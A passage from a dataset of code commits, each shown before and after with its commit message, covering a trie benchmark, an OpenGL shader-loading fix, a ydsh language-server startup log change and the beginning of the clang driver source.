<< std::endl;\n\ttaiju::TimeWatch watch;\n\n\ttaiju::LineReader reader;\n\treader.open(in);\n\n\tconst char *key;\n\tstd::size_t length;\n\twhile (reader.read(&key, &length))\n\t{\n\t\tif (length > 0)\n\t\t\tkeys->push_back(key);\n\n\t\tif (keys->size() % 100000 == 0)\n\t\t{\n\t\t\tstd::cerr << \"\\rkeys: \" << keys->size()\n\t\t\t\t<< \", time: \" << watch.elapsed() << \"s  \";\n\t\t}\n\t}\n\tstd::cerr << \"\\rkeys: \" << keys->size()\n\t\t<< \", time: \" << watch.elapsed() << 's' << std::endl;\n}\n\nvoid sort_keys(std::vector<std::string> *keys)\n{\n\tstd::cerr << \"sorting keys...\" << std::endl;\n\ttaiju::TimeWatch watch;\n\n\tstd::sort(keys->begin(), keys->end());\n\tkeys->erase(std::unique(keys->begin(), keys->end()), keys->end());\n\n\tstd::cerr << \"keys: \" << keys->size()\n\t\t<< \", time: \" << watch.elapsed() << 's' << std::endl;\n}\n\nvoid randomize_keys(const std::vector<std::string> &keys,\n\tstd::vector<std::string> *rand_keys)\n{\n\tstd::cerr << \"randomizing keys...\" << std::endl;\n\ttaiju::TimeWatch watch;\n\n\tstd::vector<std::string>(keys).swap(*rand_keys);\n\tstd::random_shuffle(rand_keys->begin(), rand_keys->end());\n\n\tstd::cerr << \"time: \" << watch.elapsed() << 's' << std::endl;\n}\n\nvoid build_trie(const std::vector<std::string> &keys, taiju::Trie *trie)\n{\n\tstd::cerr << \"building a trie...\" << std::endl;\n\ttaiju::TimeWatch watch;\n\n\ttaiju::TrieBuilder builder;\n\tbuilder.open(taiju_config);\n\tfor (std::size_t i = 0; i < keys.size(); ++i)\n\t{\n\t\tbuilder.append(keys[i].c_str(), keys[i].length());\n\t\tif (builder.num_keys() % 100000 == 0)\n\t\t{\n\t\t\tstd::cerr << \"\\rkeys: \" << builder.num_keys()\n\t\t\t\t<< \", nodes: \" << builder.num_nodes()\n\t\t\t\t<< \", bytes: \" << builder.size()\n\t\t\t\t<< \", time: \" << watch.elapsed() << \"s  \";\n\t\t\tif (builder.num_keys() % 10000000 == 0)\n\t\t\t\tstd::cerr << '\\n';\n\t\t}\n\t}\n\tbuilder.finish();\n\tstd::cerr << \"\\rkeys: \" << builder.num_keys()\n\t\t<< \", nodes: \" << builder.num_nodes()\n\t\t<< \", bytes: \" << builder.size()\n\t\t<< \", time: \" << watch.elapsed() << 's' << std::endl;\n\n\tstd::stringstream stream;\n\tbuilder.write(&stream);\n\tbuilder.clear();\n\ttrie->read(&stream);\n}\n\nstd::auto_ptr<taiju::TrieBase> convert_trie(const taiju::Trie &src_trie,\n\tconst std::vector<std::string> &keys)\n{\n\ttaiju::TimeWatch watch;\n\n\tstd::auto_ptr<taiju::TrieConverterBase> converter(\n\t\ttaiju::TrieConverterFactory::Create(taiju_config));\n\tstd::printf(\" %10s\", converter->type_name());\n\n\tconverter->convert(src_trie);\n\n\t\/\/ Note that the size of BP_TRIE or DFUDS_TRIE will be fixed in\n\t\/\/ the member function write().\n\tstd::stringstream stream;\n\tconverter->write(&stream);\n\tconverter->clear();\n\n\tstd::auto_ptr<taiju::TrieBase> dest_trie(\n\t\ttaiju::TrieFactory::read(&stream));\n\n\tstd::printf(\" %7llukb %8.2fus\", dest_trie->size() \/ 1000,\n\t\t1e+6 * watch.elapsed() \/ keys.size());\n\n\treturn dest_trie;\n}\n\nvoid find_keys(const taiju::TrieBase &trie,\n\tconst std::vector<std::string> &keys)\n{\n\ttaiju::TimeWatch watch;\n\n\tfor (std::size_t i = 0; i < keys.size(); ++i)\n\t{\n\/\/\t\ttaiju::UInt64 key_id;\n\/\/\t\tif (!trie.find(keys[i].c_str(), keys[i].length(), &key_id))\n\t\tif (!trie.find(keys[i].c_str(), keys[i].length()))\n\t\t{\n\t\t\tstd::cerr << \"error: failed to find a key: \"\n\t\t\t\t<< keys[i] << std::endl;\n\t\t\treturn;\n\t\t}\n\t}\n\n\tstd::printf(\" %7.2fus\", 1e+6 * watch.elapsed() \/ keys.size());\n}\n\nvoid benchmark_trie(taiju::TrieType trie_type, const taiju::Trie &src_trie,\n\tconst std::vector<std::string> &keys,\n\tconst std::vector<std::string> &rand_keys)\n{\n\ttaiju_config.set_trie_type(trie_type);\n\tstd::auto_ptr<taiju::TrieBase> dest_trie(convert_trie(src_trie, keys));\n\n\tfind_keys(*dest_trie, keys);\n\tfind_keys(*dest_trie, rand_keys);\n\n\tstd::printf(\"\\n\");\n}\n\nvoid benchmark_baseline(\tconst std::vector<std::string> &keys,\n\tconst std::vector<std::string> &rand_keys)\n{\n\ttaiju::TimeWatch watch;\n\n\tstd::printf(\" %10s %9s\", \"std::set\", \"\");\n\tstd::set<std::string> set(rand_keys.begin(), rand_keys.end());\n\tstd::printf(\" %8.2fus\", 1e+6 * watch.elapsed() \/ set.size());\n\n\twatch.reset();\n\tfor (std::size_t i = 0; i < keys.size(); ++i)\n\t\tset.find(keys[i]);\n\tstd::printf(\" %7.2fus\", 1e+6 * watch.elapsed() \/ keys.size());\n\n\twatch.reset();\n\tfor (std::size_t i = 0; i < rand_keys.size(); ++i)\n\t\tset.find(rand_keys[i]);\n\tstd::printf(\" %7.2fus\", 1e+6 * watch.elapsed() \/ rand_keys.size());\n\n\tstd::printf(\"\\n\");\n}\n\nvoid benchmark_tries(const taiju::Trie &trie,\n\tconst std::vector<std::string> &keys,\n\tconst std::vector<std::string> &rand_keys)\n{\n\tstd::printf(\"+----------+---------+----------+-------------------+\\n\");\n\tstd::printf(\" %10s %9s %10s %19s\\n\",\n\t\t\"\", \"\", \"conversion\", \"lookup time\");\n\tstd::printf(\" %10s %9s %10s %9s %9s\\n\",\n\t\t\"type\", \"size\", \"time\", \"sorted\", \"random\");\n\tstd::printf(\"+----------+---------+----------+-------------------+\\n\");\n\n\tbenchmark_baseline(keys, rand_keys);\n\n\tif (taiju_config.node_order() != taiju::LABEL_ORDER)\n\t{\n\t\tstd::printf(\" %10s\", trie.type_name());\n\t\tstd::printf(\" %7llukb %8sus\", trie.size() \/ 1000, \"- \");\n\t\tfind_keys(trie, keys);\n\t\tfind_keys(trie, rand_keys);\n\t\tstd::printf(\"\\n\");\n\t}\n\n\tbenchmark_trie(taiju::PODS_TRIE, trie, keys, rand_keys);\n\tbenchmark_trie(taiju::LOB_TRIE, trie, keys, rand_keys);\n\tbenchmark_trie(taiju::LOUDS_TRIE, trie, keys, rand_keys);\n\tbenchmark_trie(taiju::PLOUDS_TRIE, trie, keys, rand_keys);\n\tbenchmark_trie(taiju::BP_TRIE, trie, keys, rand_keys);\n\tbenchmark_trie(taiju::DFUDS_TRIE, trie, keys, rand_keys);\n\n\tstd::printf(\"+----------+---------+----------+-------------------+\\n\");\n}\n\nint main(int argc, char *argv[])\n{\n\ttry\n\t{\n\t\ttaiju_config.parse(argc, argv, &argc);\n\t}\n\tcatch (...)\n\t{\n\t\tstd::cerr << taiju::BuilderConfig::help() << std::endl;\n\t\treturn 1;\n\t}\n\n\ttry\n\t{\n\t\tstd::vector<std::string> keys;\n\t\tif (argc > 1 && std::strcmp(argv[1], \"-\") != 0)\n\t\t{\n\t\t\tstd::ifstream file(argv[1], std::ios::binary);\n\t\t\tif (!file)\n\t\t\t\tTAIJU_THROW(\"failed to open input file\");\n\t\t\tread_keys(&file, &keys);\n\t\t}\n\t\telse\n\t\t\tread_keys(&std::cin, &keys);\n\n\t\tsort_keys(&keys);\n\n\t\tstd::vector<std::string> rand_keys;\n\t\trandomize_keys(keys, &rand_keys);\n\n\t\ttaiju::Trie trie;\n\t\tbuild_trie(keys, &trie);\n\n\t\tbenchmark_tries(trie, keys, rand_keys);\n\t}\n\tcatch (const std::exception &ex)\n\t{\n\t\tstd::cerr << ex.what() << std::endl;\n\t\treturn 2;\n\t}\n\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright 2015 Martina Kollarova\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include <iostream>\n#include <GL\/glew.h>\n#include <SDL.h>\n#include <SDL_opengl.h>\n\n#include \"common\/error.h\"\n#include \"common\/io.h\"\n\n#ifndef SHADERS_DIR\n#define SHADERS_DIR \".\/shaders\/\"\n#endif\n\nconst float vertices[] = {\n     0.0f,  0.5f,  1.0f, 0.0f, 0.0f, \/\/ vertex 1: Red\n     0.5f, -0.5f,  0.0f, 1.0f, 0.0f, \/\/ vertex 2: Green\n    -0.5f, -0.5f,  0.0f, 0.0f, 1.0f  \/\/ vertex 3: Blue\n};\n\nenum class ShaderType {vertex, fragment};\n\n\/**\n * Read |filename| from SHADERS_DIR, compile it as a shader and return its ID.\n *\/\nGLuint compileShader(const std::string& filename, ShaderType type) {\n    auto source = readFile(SHADERS_DIR + filename).c_str();\n    auto gl_type = GL_VERTEX_SHADER;\n    if (type != ShaderType::vertex) gl_type = GL_FRAGMENT_SHADER;\n\n    GLuint shader = glCreateShader(gl_type);\n    glShaderSource(shader, 1, &source, NULL);\n    glCompileShader(shader);\n    GLint status;\n    glGetShaderiv(shader, GL_COMPILE_STATUS, &status);\n    if (status != GL_TRUE) {\n        std::cerr << \"Failed to compile shader:\\n\";\n        std::cerr << source << std::endl;\n        std::cerr << \"************************************\\n\";\n        char buffer[512];\n        glGetShaderInfoLog(shader, 512, NULL, buffer);\n        std::cerr << buffer;\n        throw Exception();\n    }\n    printGlErrors();\n    return shader;\n}\n\nvoid initGlew() {\n    glewExperimental = GL_TRUE;\n    GLenum err = glewInit();\n    printGlErrors();\n    if(err != GLEW_OK) {\n        throw Exception(\"glewInit failed\");\n    }\n}\n\n\/**\n * Return ID of the linked and activated shader.\n *\/\nGLuint initShaders() {\n    auto vshader = compileShader(\"vshader.glsl\", ShaderType::vertex);\n    auto fshader = compileShader(\"fshader.glsl\", ShaderType::fragment);\n    GLuint shaderProgram = glCreateProgram();\n    glAttachShader(shaderProgram, vshader);\n    glAttachShader(shaderProgram, fshader);\n    glLinkProgram(shaderProgram);\n    glUseProgram(shaderProgram);\n    printGlErrors();\n    return shaderProgram;\n}\n\nSDL_GLContext initContext(SDL_Window *window) {\n    SDL_GL_SetAttribute(SDL_GL_CONTEXT_PROFILE_MASK,\n                        SDL_GL_CONTEXT_PROFILE_CORE);\n    SDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, 3);\n    SDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, 2);\n    SDL_GLContext context = SDL_GL_CreateContext(window);\n    printGlErrors();\n    return context;\n}\n\n\/**\n * Copy buffers to memory, set shader attributes, bind to VAO.\n * Return bound VAO ID.\n *\/\nGLuint initBuffers(GLuint shaderProgram) {\n    GLuint vbo;\n    glGenBuffers(1, &vbo);\n    glBindBuffer(GL_ARRAY_BUFFER, vbo);\n    glBufferData(GL_ARRAY_BUFFER, sizeof(vertices), vertices,\n                 GL_STATIC_DRAW);\n\n    GLuint vao;\n    glGenVertexArrays(1, &vao);\n    glBindVertexArray(vao);\n    GLint posAttrib = glGetAttribLocation(shaderProgram, \"position\");\n    glEnableVertexAttribArray(posAttrib);\n    glVertexAttribPointer(posAttrib, 2, GL_FLOAT, GL_FALSE,\n                          5*sizeof(float), 0);\n\n    GLint colorAttrib = glGetAttribLocation(shaderProgram, \"color\");\n    glEnableVertexAttribArray(colorAttrib);\n    glVertexAttribPointer(colorAttrib, 3, GL_FLOAT, GL_FALSE,\n                          5*sizeof(float), (void*)(2*sizeof(float)));\n\n    GLint uniColor = glGetUniformLocation(shaderProgram, \"triangleColor\");\n    glUniform3f(uniColor, 1.0f, 0.0f, 0.0f);\n    printGlErrors();\n    return vao;\n}\n\nvoid paint() {\n    glDrawArrays(GL_TRIANGLES, 0, 3);\n    printGlErrors();\n}\n\nint main(int argc, char *argv[]) {\n    SDL_Init(SDL_INIT_VIDEO);\n    SDL_Window* window = SDL_CreateWindow(\"Hello World\",\n                                           100, 100, 800, 600,\n                                           SDL_WINDOW_OPENGL);\n    auto context = initContext(window);\n    initGlew();\n    auto program = initShaders();\n    initBuffers(program);\n\n    paint();\n\n    SDL_Event event;\n    while (true) {\n        if (SDL_PollEvent(&event)) {\n            if (event.type == SDL_QUIT) break;\n            if (event.type == SDL_KEYDOWN) break;\n        }\n        SDL_GL_SwapWindow(window);\n    }\n\n    SDL_GL_DeleteContext(context);\n    SDL_DestroyWindow(window);\n    SDL_Quit();\n    return 0;\n}\n<commit_msg>tutorial: fix odd problem with shader not loading<commit_after>\/* Copyright 2015 Martina Kollarova\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include <iostream>\n#include <GL\/glew.h>\n#include <SDL.h>\n#include <SDL_opengl.h>\n\n#include \"common\/error.h\"\n#include \"common\/io.h\"\n\n#ifndef SHADERS_DIR\n#define SHADERS_DIR \".\/shaders\/\"\n#endif\n\nconst float vertices[] = {\n     0.0f,  0.5f,  1.0f, 0.0f, 0.0f, \/\/ vertex 1: Red\n     0.5f, -0.5f,  0.0f, 1.0f, 0.0f, \/\/ vertex 2: Green\n    -0.5f, -0.5f,  0.0f, 0.0f, 1.0f  \/\/ vertex 3: Blue\n};\n\nenum class ShaderType {vertex, fragment};\n\n\/**\n * Read |filename| from SHADERS_DIR, compile it as a shader and return its ID.\n *\/\nGLuint compileShader(const std::string& filename, ShaderType type) {\n    std::string source = readFile(SHADERS_DIR + filename);\n    if (source.length() == 0)\n      throw Exception(\"empty shader file\");\n    auto gl_type = GL_VERTEX_SHADER;\n    if (type != ShaderType::vertex) gl_type = GL_FRAGMENT_SHADER;\n\n    GLuint shader = glCreateShader(gl_type);\n    const char* source_c = source.c_str();\n    glShaderSource(shader, 1, &source_c, NULL);\n    glCompileShader(shader);\n    GLint status;\n    glGetShaderiv(shader, GL_COMPILE_STATUS, &status);\n    if (status != GL_TRUE) {\n        std::cerr << \"Failed to compile shader:\\n\";\n        std::cerr << source << std::endl;\n        std::cerr << \"************************************\\n\";\n        char buffer[512];\n        glGetShaderInfoLog(shader, 512, NULL, buffer);\n        std::cerr << buffer;\n        throw Exception();\n    }\n    printGlErrors();\n    return shader;\n}\n\nvoid initGlew() {\n    glewExperimental = GL_TRUE;\n    GLenum err = glewInit();\n    printGlErrors();\n    if(err != GLEW_OK) {\n        throw Exception(\"glewInit failed\");\n    }\n}\n\n\/**\n * Return ID of the linked and activated shader.\n *\/\nGLuint initShaders() {\n    auto vshader = compileShader(\"vshader.glsl\", ShaderType::vertex);\n    auto fshader = compileShader(\"fshader.glsl\", ShaderType::fragment);\n    GLuint shaderProgram = glCreateProgram();\n    glAttachShader(shaderProgram, vshader);\n    glAttachShader(shaderProgram, fshader);\n    glLinkProgram(shaderProgram);\n    glUseProgram(shaderProgram);\n    printGlErrors();\n    return shaderProgram;\n}\n\nSDL_GLContext initContext(SDL_Window *window) {\n    SDL_GL_SetAttribute(SDL_GL_CONTEXT_PROFILE_MASK,\n                        SDL_GL_CONTEXT_PROFILE_CORE);\n    SDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, 3);\n    SDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, 2);\n    SDL_GLContext context = SDL_GL_CreateContext(window);\n    printGlErrors();\n    return context;\n}\n\n\/**\n * Copy buffers to memory, set shader attributes, bind to VAO.\n * Return bound VAO ID.\n *\/\nGLuint initBuffers(GLuint shaderProgram) {\n    GLuint vbo;\n    glGenBuffers(1, &vbo);\n    glBindBuffer(GL_ARRAY_BUFFER, vbo);\n    glBufferData(GL_ARRAY_BUFFER, sizeof(vertices), vertices,\n                 GL_STATIC_DRAW);\n\n    GLuint vao;\n    glGenVertexArrays(1, &vao);\n    glBindVertexArray(vao);\n    GLint posAttrib = glGetAttribLocation(shaderProgram, \"position\");\n    glEnableVertexAttribArray(posAttrib);\n    glVertexAttribPointer(posAttrib, 2, GL_FLOAT, GL_FALSE,\n                          5*sizeof(float), 0);\n\n    GLint colorAttrib = glGetAttribLocation(shaderProgram, \"color\");\n    glEnableVertexAttribArray(colorAttrib);\n    glVertexAttribPointer(colorAttrib, 3, GL_FLOAT, GL_FALSE,\n                          5*sizeof(float), (void*)(2*sizeof(float)));\n\n    GLint uniColor = glGetUniformLocation(shaderProgram, \"triangleColor\");\n    glUniform3f(uniColor, 1.0f, 0.0f, 0.0f);\n    printGlErrors();\n    return vao;\n}\n\nvoid paint() {\n    glDrawArrays(GL_TRIANGLES, 0, 3);\n    printGlErrors();\n}\n\nint main(int argc, char *argv[]) {\n    SDL_Init(SDL_INIT_VIDEO);\n    SDL_Window* window = SDL_CreateWindow(\"Hello World\",\n                                           100, 100, 800, 600,\n                                           SDL_WINDOW_OPENGL);\n    auto context = initContext(window);\n    initGlew();\n    auto program = initShaders();\n    initBuffers(program);\n\n    paint();\n\n    SDL_Event event;\n    while (true) {\n        if (SDL_PollEvent(&event)) {\n            if (event.type == SDL_QUIT) break;\n            if (event.type == SDL_KEYDOWN) break;\n        }\n        SDL_GL_SwapWindow(window);\n    }\n\n    SDL_GL_DeleteContext(context);\n    SDL_DestroyWindow(window);\n    SDL_Quit();\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2018 Nagisa Sekiguchi\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <misc\/files.h>\n#include <misc\/opt.hpp>\n\n#include \"server.h\"\n\nusing namespace ydsh;\nusing namespace lsp;\n\n#define EACH_OPT(OP)                                                                               \\\n  OP(LOG, \"--log\", opt::HAS_ARG,                                                                   \\\n     \"specify log level (info, warning, error, fatal, none). default is `info'\")                   \\\n  OP(HELP, \"--help\", opt::NO_ARG, \"show this help message\")                                        \\\n  OP(LSP, \"--language-server\", opt::NO_ARG, \"enable language server features (default)\")\n\nenum class OptionKind {\n#define GEN_ENUM(E, S, F, D) E,\n  EACH_OPT(GEN_ENUM)\n#undef GEN_ENUM\n};\n\nstruct Options {\n  LogLevel level{LogLevel::INFO};\n  bool lsp{true};\n};\n\nstatic LogLevel parseLogLevel(const char *value, LogLevel v) {\n  LogLevel levels[] = {LogLevel::INFO, LogLevel::WARNING, LogLevel::ERROR, LogLevel::FATAL,\n                       LogLevel::NONE};\n  for (auto &l : levels) {\n    const char *ls = toString(l);\n    if (strcasecmp(ls, value) == 0) {\n      return l;\n    }\n  }\n  return v;\n}\n\nstatic Options parseOptions(int argc, char **argv) {\n  opt::Parser<OptionKind> optParser = {\n#define GEN_OPT(E, S, F, D) {OptionKind::E, S, F, D},\n      EACH_OPT(GEN_OPT)\n#undef GEN_OPT\n  };\n  auto begin = argv + (argc > 0 ? 1 : 0);\n  auto end = argv + argc;\n  opt::Result<OptionKind> result;\n  Options options;\n  while ((result = optParser(begin, end))) {\n    switch (result.value()) {\n    case OptionKind::LOG:\n      options.level = parseLogLevel(result.arg(), LogLevel::INFO);\n      break;\n    case OptionKind::HELP:\n      optParser.printOption(stdout);\n      exit(0);\n    case OptionKind::LSP:\n      options.lsp = true;\n      break;\n    }\n  }\n  if (result.error() != opt::END) {\n    fprintf(stderr, \"%s\\n\", result.formatError().c_str());\n    optParser.printOption(stderr);\n    exit(1);\n  }\n  return options;\n}\n\nstatic void showInfo(LSPLogger &logger) {\n  fprintf(stderr, \"start ydsh code analyzer\\n\");\n  fflush(stderr);\n  logger(LogLevel::INFO, \"working directory: %s\", getCWD().get());\n}\n\nint main(int argc, char **argv) {\n  auto options = parseOptions(argc, argv);\n  LSPLogger logger;\n  logger.setSeverity(options.level);\n  logger.setAppender(FilePtr(stderr));\n  showInfo(logger);\n  LSPServer server(logger, FilePtr(stdin), FilePtr(stdout));\n  server.run();\n}\n<commit_msg>show command line options after startup<commit_after>\/*\n * Copyright (C) 2018 Nagisa Sekiguchi\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <misc\/files.h>\n#include <misc\/opt.hpp>\n\n#include \"server.h\"\n\nusing namespace ydsh;\nusing namespace lsp;\n\n#define EACH_OPT(OP)                                                                               \\\n  OP(LOG, \"--log\", opt::HAS_ARG,                                                                   \\\n     \"specify log level (info, warning, error, fatal, none). default is `info'\")                   \\\n  OP(HELP, \"--help\", opt::NO_ARG, \"show this help message\")                                        \\\n  OP(LSP, \"--language-server\", opt::NO_ARG, \"enable language server features (default)\")\n\nenum class OptionKind {\n#define GEN_ENUM(E, S, F, D) E,\n  EACH_OPT(GEN_ENUM)\n#undef GEN_ENUM\n};\n\nstruct Options {\n  LogLevel level{LogLevel::INFO};\n  bool lsp{true};\n};\n\nstatic LogLevel parseLogLevel(const char *value, LogLevel v) {\n  LogLevel levels[] = {LogLevel::INFO, LogLevel::WARNING, LogLevel::ERROR, LogLevel::FATAL,\n                       LogLevel::NONE};\n  for (auto &l : levels) {\n    const char *ls = toString(l);\n    if (strcasecmp(ls, value) == 0) {\n      return l;\n    }\n  }\n  return v;\n}\n\nstatic Options parseOptions(int argc, char **argv) {\n  opt::Parser<OptionKind> optParser = {\n#define GEN_OPT(E, S, F, D) {OptionKind::E, S, F, D},\n      EACH_OPT(GEN_OPT)\n#undef GEN_OPT\n  };\n  auto begin = argv + (argc > 0 ? 1 : 0);\n  auto end = argv + argc;\n  opt::Result<OptionKind> result;\n  Options options;\n  while ((result = optParser(begin, end))) {\n    switch (result.value()) {\n    case OptionKind::LOG:\n      options.level = parseLogLevel(result.arg(), LogLevel::INFO);\n      break;\n    case OptionKind::HELP:\n      optParser.printOption(stdout);\n      exit(0);\n    case OptionKind::LSP:\n      options.lsp = true;\n      break;\n    }\n  }\n  if (result.error() != opt::END) {\n    fprintf(stderr, \"%s\\n\", result.formatError().c_str());\n    optParser.printOption(stderr);\n    exit(1);\n  }\n  return options;\n}\n\nstatic void showInfo(char **const argv, LSPLogger &logger) {\n  std::string cmdline;\n  for(unsigned int i = 0; argv[i]; i++) {\n    if(!cmdline.empty()) {\n      cmdline += ' ';\n    }\n    cmdline += argv[i];\n  }\n  fprintf(stderr, \"start ydsh code analyzer with the following options\\n\");\n  fprintf(stderr, \"    %s\\n\", cmdline.c_str());\n  fflush(stderr);\n  logger(LogLevel::INFO, \"working directory: %s\", getCWD().get());\n}\n\nint main(int argc, char **argv) {\n  auto options = parseOptions(argc, argv);\n  LSPLogger logger;\n  logger.setSeverity(options.level);\n  logger.setAppender(FilePtr(stderr));\n  showInfo(argv, logger);\n  LSPServer server(logger, FilePtr(stdin), FilePtr(stdout));\n  server.run();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- driver.cpp - Clang GCC-Compatible Driver --------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This is the entry point to the clang driver; it is a thin wrapper\n\/\/ for functionality in the Driver clang library.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/Driver\/Compilation.h\"\n#include \"clang\/Driver\/Driver.h\"\n#include \"clang\/Driver\/Option.h\"\n\n#include \"llvm\/ADT\/SmallString.h\"\n#include \"llvm\/ADT\/OwningPtr.h\"\n#include \"llvm\/Config\/config.h\"\n#include \"llvm\/Support\/ManagedStatic.h\"\n#include \"llvm\/Support\/PrettyStackTrace.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/System\/Host.h\"\n#include \"llvm\/System\/Path.h\"\n#include \"llvm\/System\/Signals.h\"\nusing namespace clang;\nusing namespace clang::driver;\n\nclass DriverDiagnosticPrinter : public DiagnosticClient {\n  std::string ProgName;\n  llvm::raw_ostream &OS;\n\npublic:\n  DriverDiagnosticPrinter(const std::string _ProgName,\n                          llvm::raw_ostream &_OS)\n    : ProgName(_ProgName),\n      OS(_OS) {}\n\n  virtual void HandleDiagnostic(Diagnostic::Level DiagLevel,\n                                const DiagnosticInfo &Info);\n};\n\nvoid DriverDiagnosticPrinter::HandleDiagnostic(Diagnostic::Level Level,\n                                               const DiagnosticInfo &Info) {\n  OS << ProgName << \": \";\n\n  switch (Level) {\n  case Diagnostic::Ignored: assert(0 && \"Invalid diagnostic type\");\n  case Diagnostic::Note:    OS << \"note: \"; break;\n  case Diagnostic::Warning: OS << \"warning: \"; break;\n  case Diagnostic::Error:   OS << \"error: \"; break;\n  case Diagnostic::Fatal:   OS << \"fatal error: \"; break;\n  }\n\n  llvm::SmallString<100> OutStr;\n  Info.FormatDiagnostic(OutStr);\n  OS.write(OutStr.begin(), OutStr.size());\n  OS << '\\n';\n}\n\nllvm::sys::Path GetExecutablePath(const char *Argv0, bool CanonicalPrefixes) {\n  if (!CanonicalPrefixes)\n    return llvm::sys::Path(Argv0);\n\n  \/\/ This just needs to be some symbol in the binary; C++ doesn't\n  \/\/ allow taking the address of ::main however.\n  void *P = (void*) (intptr_t) GetExecutablePath;\n  return llvm::sys::Path::GetMainExecutable(Argv0, P);\n}\n\nstatic const char *SaveStringInSet(std::set<std::string> &SavedStrings,\n                                   const std::string &S) {\n  return SavedStrings.insert(S).first->c_str();\n}\n\n\/\/\/ ApplyQAOverride - Apply a list of edits to the input argument lists.\n\/\/\/\n\/\/\/ The input string is a space separate list of edits to perform,\n\/\/\/ they are applied in order to the input argument lists. Edits\n\/\/\/ should be one of the following forms:\n\/\/\/\n\/\/\/  '#': Silence information about the changes to the command line arguments.\n\/\/\/\n\/\/\/  '^': Add FOO as a new argument at the beginning of the command line.\n\/\/\/\n\/\/\/  '+': Add FOO as a new argument at the end of the command line.\n\/\/\/\n\/\/\/  's\/XXX\/YYY\/': Replace the literal argument XXX by YYY in the\n\/\/\/  command line.\n\/\/\/\n\/\/\/  'xOPTION': Removes all instances of the literal argument OPTION.\n\/\/\/\n\/\/\/  'XOPTION': Removes all instances of the literal argument OPTION,\n\/\/\/  and the following argument.\n\/\/\/\n\/\/\/  'Ox': Removes all flags matching 'O' or 'O[sz0-9]' and adds 'Ox'\n\/\/\/  at the end of the command line.\n\/\/\/\n\/\/\/ \\param OS - The stream to write edit information to.\n\/\/\/ \\param Args - The vector of command line arguments.\n\/\/\/ \\param Edit - The override command to perform.\n\/\/\/ \\param SavedStrings - Set to use for storing string representations.\nvoid ApplyOneQAOverride(llvm::raw_ostream &OS,\n                        std::vector<const char*> &Args,\n                        const std::string &Edit,\n                        std::set<std::string> &SavedStrings) {\n  \/\/ This does not need to be efficient.\n\n  if (Edit[0] == '^') {\n    const char *Str =\n      SaveStringInSet(SavedStrings, Edit.substr(1, std::string::npos));\n    OS << \"### Adding argument \" << Str << \" at beginning\\n\";\n    Args.insert(Args.begin() + 1, Str);\n  } else if (Edit[0] == '+') {\n    const char *Str =\n      SaveStringInSet(SavedStrings, Edit.substr(1, std::string::npos));\n    OS << \"### Adding argument \" << Str << \" at end\\n\";\n    Args.push_back(Str);\n  } else if (Edit[0] == 'x' || Edit[0] == 'X') {\n    std::string Option = Edit.substr(1, std::string::npos);\n    for (unsigned i = 1; i < Args.size();) {\n      if (Option == Args[i]) {\n        OS << \"### Deleting argument \" << Args[i] << '\\n';\n        Args.erase(Args.begin() + i);\n        if (Edit[0] == 'X') {\n          if (i < Args.size()) {\n            OS << \"### Deleting argument \" << Args[i] << '\\n';\n            Args.erase(Args.begin() + i);\n          } else\n            OS << \"### Invalid X edit, end of command line!\\n\";\n        }\n      } else\n        ++i;\n    }\n  } else if (Edit[0] == 'O') {\n    for (unsigned i = 1; i < Args.size();) {\n      const char *A = Args[i];\n      if (A[0] == '-' && A[1] == 'O' &&\n          (A[2] == '\\0' ||\n           (A[3] == '\\0' && (A[2] == 's' || A[2] == 'z' ||\n                             ('0' <= A[2] && A[2] <= '9'))))) {\n        OS << \"### Deleting argument \" << Args[i] << '\\n';\n        Args.erase(Args.begin() + i);\n      } else\n        ++i;\n    }\n    OS << \"### Adding argument \" << Edit << \" at end\\n\";\n    Args.push_back(SaveStringInSet(SavedStrings, '-' + Edit));\n  } else {\n    OS << \"### Unrecognized edit: \" << Edit << \"\\n\";\n  }\n}\n\n\/\/\/ ApplyQAOverride - Apply a comma separate list of edits to the\n\/\/\/ input argument lists. See ApplyOneQAOverride.\nvoid ApplyQAOverride(std::vector<const char*> &Args, 